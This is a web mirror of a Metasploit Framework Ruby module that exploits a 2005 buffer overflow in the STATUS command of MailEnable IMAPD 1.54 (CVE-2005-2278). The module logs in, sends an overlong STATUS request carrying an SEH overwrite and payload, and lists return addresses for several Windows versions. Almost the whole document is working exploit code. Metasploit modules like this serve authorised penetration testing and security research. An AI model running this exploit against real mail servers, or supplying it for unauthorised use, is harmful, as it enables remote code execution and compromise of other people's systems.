Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/windows/imap/mailenable_status.rb
19612 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = GreatRanking
8
9
include Msf::Exploit::Remote::Imap
10
include Msf::Exploit::Remote::Seh
11
12
def initialize(info = {})
13
super(
14
update_info(
15
info,
16
'Name' => 'MailEnable IMAPD (1.54) STATUS Request Buffer Overflow',
17
'Description' => %q{
18
MailEnable's IMAP server contains a buffer overflow
19
vulnerability in the STATUS command. With proper
20
credentials, this could allow for the execution of arbitrary
21
code.
22
},
23
'Author' => [ 'MC' ],
24
'License' => MSF_LICENSE,
25
'References' => [
26
[ 'CVE', '2005-2278'],
27
[ 'OSVDB', '17844'],
28
[ 'BID', '14243'],
29
[ 'URL', 'http://www.nessus.org/plugins/index.php?view=single&id=19193'],
30
],
31
'Privileged' => true,
32
'DefaultOptions' => {
33
'EXITFUNC' => 'thread',
34
},
35
'Payload' => {
36
'Space' => 450,
37
'BadChars' => "\x00\x0a\x0d\x20",
38
'StackAdjustment' => -3500,
39
},
40
'Platform' => 'win',
41
'Targets' => [
42
['MailEnable 1.54 Pro Universal', { 'Rets' => [9273, 0x1001c019] }], # MEAISP.DLL
43
['Windows XP Pro SP0/SP1 English', { 'Rets' => [9273, 0x71aa32ad] }],
44
['Windows 2000 Pro English ALL', { 'Rets' => [9273, 0x75022ac4] }],
45
['Windows 2003 Server English', { 'Rets' => [9273, 0x7ffc0638] }],
46
],
47
'DisclosureDate' => '2005-07-13',
48
'DefaultTarget' => 0,
49
'Notes' => {
50
'Reliability' => UNKNOWN_RELIABILITY,
51
'Stability' => UNKNOWN_STABILITY,
52
'SideEffects' => UNKNOWN_SIDE_EFFECTS
53
}
54
)
55
)
56
end
57
58
def exploit
59
connect_login
60
61
seh = generate_seh_payload(target['Rets'][1])
62
buf = rand_text_alphanumeric(target['Rets'][0])
63
req = "a001 STATUS \".\x00" + buf + seh
64
req << "\" (UIDNEXT UIDVALIDITY MESSAGES UNSEEN RECENT)\r\n"
65
sock.put(req)
66
67
handler
68
disconnect
69
end
70
end
71
72